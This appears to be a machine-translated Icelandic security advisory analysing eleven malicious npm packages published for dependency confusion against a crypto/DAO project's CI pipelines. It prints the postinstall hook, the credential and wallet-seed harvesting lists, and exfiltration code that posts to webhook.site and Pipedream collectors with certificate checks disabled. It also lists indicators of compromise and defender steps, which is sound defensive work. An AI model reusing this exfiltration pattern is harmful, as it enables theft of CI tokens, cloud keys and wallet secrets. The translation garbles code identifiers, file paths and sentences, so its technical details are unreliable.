Ruglingur í CryptoDAO: Uppsöfnun npm pakka CI/CD og dulritunarleyndarmál

Ruglingur í CryptoDAO: ellefu npm pakkar, einn farmur, uppskera CI/CD og leyndarmál dulritunarveskis

TL; DR

Þann 17. júní 2026 var einn npm reikningur birtur ellefu pakkar sem deila einu markmiði og einu farmiTíu þeirra bera cryptodao- forskeyti (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); sá ellefti er sá sem er með umfangið @public-for-cdao/coreHver og einn var gefinn út í útgáfu 99.99.99 og sendir eins bæti recon.js sem keyrir á postinstall.

Nöfnin segja til um það. Þau eru eins og innri byggingareiningar í einkaverkfærakeðju dulritunar-/DAO-verkefnis. Þegar þau eru birt í opinberri npm-skrá á tilbúnu háu verði bíða þau eftir smíði. pipeline sem er stillt til að leysa þessi nöfn og nær til opinberra npm fyrir — eða í stað — einkaskrárinnar. Þetta er ruglingur í tengslum við ósjálfstæðiog farmurinn er stilltur nákvæmlega fyrir þar sem hann á að lenda: CI/CD hlauparar.

Þegar postinstall eldar, recon.js safnar upplýsingum um gestgjafa, sópar gróflega fjörutíu umhverfisbreytur fyrir ský, CI og dulritunarveski, les hvaða sem er .env skrár sem það getur fundið og sendir áfram leyndarmálslínurnar orðrétt, sendir síðan pakkann til tveggja safnara — webhook.site og Pipedream endapunktur — með TLS vottorðsstaðfestingu óvirkri. Afrit er einnig skrifað undir /tmp.

Alvarleiki: hár. Vistkerfi sem hefur áhrif: npmÖll ellefu pakkarnir voru virkir þegar þetta var skrifað.

Líffærafræði árása

Vélbúnaðurinn hefur fjóra hreyfanlega hluti og enginn þeirra er lúmskur þegar þú veist hvernig á að gera það. líttu eitt lag fram hjá pakkanafninu.

1. Útgáfuuppblástur sem beita til að leysa úr vanda. Hver pakki tilgreinir útgáfu 99.99.99Ruglingur í tengslum við ósjálfstæði virkar þegar pakkastjóri biður um innra nafnið, kannar einnig opinberu skrána og velur nýjustu útgáfuna sem það finnur. Sjálfgefið val npm fyrir caret eða algildisstafabil er besta útgáfan í öllum stilltum uppsprettum; ef bæði einkaaðilar Skráningarnúmerið og opinbert npm svar fyrir sama nafn, þá vinnur stærra útgáfunúmerið. A 99.99.99 fær í raun betri einkunn en allar raunverulegar innri útgáfur sem verkefni mun hafa náð, þannig að lausnari sem er ekki festur við einkaheimildina kýs frekar opinbert — og í þessu tilfelli fjandsamlegt — efni. Rekstraraðili þarf ekki að vita raunverulegar útgáfunúmer skotmarksins; að velja fáránlegt hámark tryggir alltaf jafntefli brýtur sér leið.

2. Kveikja eftir uppsetningu. pakki.json tengir farminn við uppsetninguna líftíma:

{   "scripts": { "postinstall": "node recon.js" } }

Ekki þarf að flytja inn pakkann. Aðeins að setja hann upp — sem er samskiptakerfi (CI). pipeline keyrir sjálfkrafa — recon.js.

3. Víðtæk leynileg leit. recon.js setur saman niðurstöðufylki í áföngum:

  • Hýsingarsamhengi: hýsingarheiti, kerfi og útgáfa, arkitektúr, notandanafn, virkni skrá.
  • Umhverfisbreytur: það endurtekur fastan lista með um fjörutíu nöfnum og færslum allir sem eru settir. Listinn er afhjúpandi — hann parar saman almenn CI-tákn. (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) og ský persónuskilríki (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) með leyndarmálum skráningar og gáma (NPM_TOKEN, DOCKER_LYKILORÐ, HARBOR_PASSWORD) og greinilega dulritunarbragðbætt klasa:  EINKALYKILL, MINNI, SEED_PHRASE, INFURA_API_LYKILL, ALCHEMY_API_LYKILL, ETH_RPC, BSC_RPCSkráð gildi eru stytt niður í fyrstu 50 stafina.
  • .NS skrár: það kannar lista af slóðum — .NS, ../.umslag, /app/.umg, /app/backend/.umg, /app/bot/.umg, /heim/gitlab-hlaupari/.umhverfi, /root/.umg, og .framleiðsla/.þróun afbrigði — og fyrir allar skrár sem eru til, það síar innihaldið í línur sem passa við LYKILL|LEYNDARMÁL|TÁKN|LYKILL|EINKA|MINNI og færir þessar línur **í heild sinni, óstyttar** inn í niðurstöðurnar.
  • Byggingar-hýsingarsamhengi: það listar fyrstu 20 færslurnar í /smíðar/, /heim/gitlab-hlaupari/byggir/, /var/lib/gitlab-hlaupari/og /tmp/.

Slóðalisti og breytulisti eru vegnir í átt að GitLab keyrslum, sem bendir til þess að farmurinn beint á sjálfhýsta CI innviði frekar en forritara fartölva. Með því að flokka veiðilistann eftir flokkum verður fyrirhuguð veiði einföld:

Flokkur Breytur / slóðir náðar
CI/CD auðkenni og dreifingu CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
Cloud AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Skrá og ílát NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Gagnageymslur DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Dulritunargjaldmiðlar / blockchain PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Skilaboð SLACK_TOKEN, DISCORD_TOKEN
Á diski .env fjölskylda + /home/gitlab-runner/.env, /root/.env, /app/**/.envskráningar yfir; skrár yfir /builds/, /var/lib/gitlab-runner/

Dulritunarklasinn er sá hluti sem aðgreinir þetta frá almennu CI-leyndarmáli sweep: fræsetningar veskis og undirritunarlyklar birtast aðeins í umhverfi a blockchain verkefnið, og þau tengjast beint við dulritunargjaldmiðill-/merki/samninga nafngiftir flutningsaðila.

4. Tvöföld útsíun með staðfestingu óvirkri. Safnaða fylkið er Raðbundið og sent á tvo áfangastaði:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

hafnaÓheimilt: ósatt slekkur á TLS vottorðsathugunum fyrir útsendandi sendingar símtöl. Sömu gögnin eru prentuð í stdout (þannig að þau lenda einnig í CI verkskrám) og skrifað til /tmp/.npm_recon_ .jsonVillur eru kyngdar hljóðlega, svo a Mistök í sendingu skilja ekki eftir sig nein spor í uppsetningarúttakinu umfram eitt [könnun] uppsett á lína.

Í forystu athugasemd í skránni er því lýst sem „ruglingi milli ósjálfstæðis“. „Könnunarhleðsla.“ Stytting umhverfisgilda í 50 stafi hefur lögun sönnunar á hugmynd. Það sem færir það framhjá viðveru-eingöngu beacon er .NS meðhöndlun: leyndarmálslínur eru sendar áfram að fullu og áfangastaðir eru tveir virkir, árásarstýrðir safnarar frekar en vaskur sem telur aðeins hittir.

Timeline

Útgáfumynstrið er undirskrift eins handritaðs færslu, ekki ellefu sjálfstæðar upphleðslur.

Tími (UTC, 2026-06-17) atburður
03:24:58 cryptodao-bot@99.99.99 birt
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — útfærsla með tilliti til umfangs, ~24 mínútum síðar

Tíu pakkar fóru út innan 29 sekúndna glugga, um það bil einn á þriggja sekúndna fresti. Umfangið @almenning-fyrir-cdao/kjarna fylgdi í kjölfarið um 24 mínútum síðar — sekúndu nafngiftarsamningur fyrir sama markmið, ef neysluverkefnið vísar til innri verkfærakeðja undir umfangi frekar en sem ber nöfn.

Vísbendingar um málamiðlun

Gerð Vísir
Safnari hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Safnari hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Setja upp krók postinstall: node recon.js
Skrá sleppt /tmp/.npm_recon_<timestamp>.json
Skráarmerki [recon] <pkg>@<ver> installed on <hostname> (stdout í CI-skrám)
Hegðun rejectUnauthorized: false á útleiðandi HTTPS við uppsetningu
Endurgreiðsla recon.js, eins í öllum ellefu pökkunum (ein sameiginleg útgáfa)
Útgáfa 99.99.99 á hverjum pakka
Pakkar cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (allt 99.99.99)
Útgefandi aduljune / aduljune@proton.me (netfang óstaðfest, engin tengd heimildarsafn)

 Eignun og athuguð hegðun

Allt varðandi klasa bendir til annarrar handar. Öll ellefu pakkarnir voru birtir. af npm reikningnum auðlind (aduljune@proton.me, óstaðfest heimilisfang án tengd heimildargeymsla), innan 25 mínútna tímabils, á sama tíma 99.99.99 útgáfa, sendingarkostnaður recon.js þar sem innihaldið er eins bæti fyrir bæti á öllum pakki (MD5 passar við öll ellefu eintökin sem eru dregin út). Það er ein gagnamagn stimplað á nafnalista, ekki sjálfstæð endurnotkun kóða.

Nafnalistinn skilgreinir fyrirhugaðan skotmark. dulritunargjaldmiðill-* og cdao lýsa Útlit einkaeiningar dulritunar-/DAO-verkefnis og uppskerulisti gagnamagnsins speglar sem giska: ásamt almennum CI og skýleyndarmálum, það sérstaklega nær til EINKALYKILL, MINNI, SEED_PHRASEog Ethereum/BSC RPC og Lyklar þjónustuveitunnar. .NS Leitarslóðir og skráningar í möppum eru GitLab-runner sértækt. Áhrifin sem sjást eru þau að hvaða sem er pipeline blekkt til að setja þetta upp nöfn myndu áframsenda CI-tákn þess, skýjalykla og á diski .NS leyndarmál — og, fyrir blockchain verkefni, veskisefni þess - til tveggja þriðja aðila safnara.

Við gerum engar kröfur um hver rekur reikninginn eða hvað þeir ætluðu að gera við hann. gögn. Staðreyndirnar sem standa einar og sér: nöfnin miða á ákveðna tegund af innri verkfærakeðja, farmurinn les og sendir raunveruleg leynileg gildi og innviðir voru virkar.

Áhrif, þróun og leiðbeiningar varnaraðila

Ruglingur varðandi ósjálfstæði helst áhrifaríkt vegna þess að það nýtir sér hegðun upplausnara, ekki varnarleysi í hvaða pakka sem er. Flutningsaðilinn hér er ómerkilegur — ellefu næstum tómir pakkar — en sprengingaradíusinn er hvað sem er pipeline kýs ranglega opinbera npm fyrir innra nafn. CI hlauparar eru versti staðurinn fyrir það að gerast: þeir halda nákvæmlega táknin og .NS skrár sem þetta gagnamagn les og þær setja upp ósjálfstæði eru ekki gagnvirk, svo a eftir uppsetningu hleypur án þess að neinn sé að horfa.

Þessi klasi passar einnig við mynstur sem við sjáum stöðugt: gagnamagn á uppsetningartíma sem birtist sem „rannsóknir“ eða „könnun“ á meðan raunveruleg söfnun persónuskilríkja er framkvæmd. Merkið í skránni breytir ekki því sem kóðinn gerir á hlaupara. Tveir hönnunarvalkostir halda virknin kyrrlát: hver net- og skráakerfisaðgerð er vafið inn í undantekningarmeðhöndlari sem hafnar villum, svo sem stífluðum sendingum eða skrám sem vantar gefur enga greiningarúttak og það eina sem prentað er er eitt skaðlaust [endurskoðun] … sett upp lína sem blandast við venjulegt uppsetningarspjall. Notkun á vefkrókur.síða og Pipedream er líka vísvitandi þægindi — bæði eru ókeypis, útvegaði þjónustu fyrir beiðnir og handtökur samstundis, þannig að rekstraraðilinn þarf enga netþjóna þeirra eigin og áfangastaðirnir líta út eins og venjuleg SaaS hýsingarnöfn í útgangsskrám.

Það er hagfræðin sem gerir þetta þess virði að verjanda beri athygli sína, jafnvel þótt... Flutningsnúmer er einfalt. Það kostar ekkert að skrá ellefu nöfn, en kostnaðurinn er einn Skráin afrituð ellefu sinnum og pakkastjórinn sér um alla framkvæmdina. Ein rangt stillt pipeline hver sem notar eitt af þessum nöfnum borgar fyrir allt saman aðgerð.

Raunhæf skref fyrir varnarmenn:

  • Festu innri gildissvið við einkaskrána þína. Stilla npm svo innri nöfn
     og gildissvið leysast aðeins upp gegn skrásetningunni þinni (gildandi .npmrc skrásetningarvörpun,
    eða umboðsþjónn sem kemst aldrei í gegnum opinbera npm fyrir eigin nafnrými). Geymið nöfnin á opinberum sviðum svo enginn annar geti skráð þau.
  • Commit læsa skrár og setja upp með –ignore-scripts í CI þar sem það er mögulegt, eða skoðaðu litla hópinn af ósjálfstæðum einingum sem þurfa virkilega uppsetningarforskriftir.  recon.js getur ekki keyrt ef eftir uppsetningu er ekki framkvæmdur.
  • Meðhöndla 99.99.99 (eða aðra fáránlega háa) útgáfu af nafni sem lítur út fyrir að vera innra með sem rauður fáni í endurskoðun á ósjálfstæði og eftirliti með skrám.
  • Viðvörun um útgöngu á uppsetningartíma. A eftir uppsetningu sem opnar útleiðandi HTTPS tenging — sérstaklega þegar staðfesting vottorðs er óvirk — við Það er þess virði að loka fyrir webhook.site, Pipedream eða svipaðar þjónustur til að safna beiðnum á jaðri netsins og merkja þær í byggingarloggum.
  • Leitaðu að gripunum. Athugaðu hlaupara fyrir /tmp/.npm_recon_*.json og fyrir [endurskoðun] … sett upp á … merki í nýlegum CI-skrám. Ef það finnst, snúið því við á hverjum persónuskilríki sem verða fyrir því pipeline — CI-tákn, skýjalyklar, skráningartákn og allir veskisfræ eða einkalyklar sem eru til staðar í umhverfinu eða .env-skrám.

Heimildir

Engin utanaðkomandi skýrslugerð var til um þennan klasa þegar þetta var skrifað; greiningin hér að ofan byggir beint á birtu innihaldi pakkans

sca-tools-hugbúnaður-samsetningargreiningartól
Forgangsraðaðu, lagfærðu og tryggðu hugbúnaðaráhættu þína
Fáðu þér ókeypis aðgang.
Ekkert kreditkort krafist.

Tryggðu hugbúnaðarþróun og afhendingu þína

með Xygeni vörupakkanum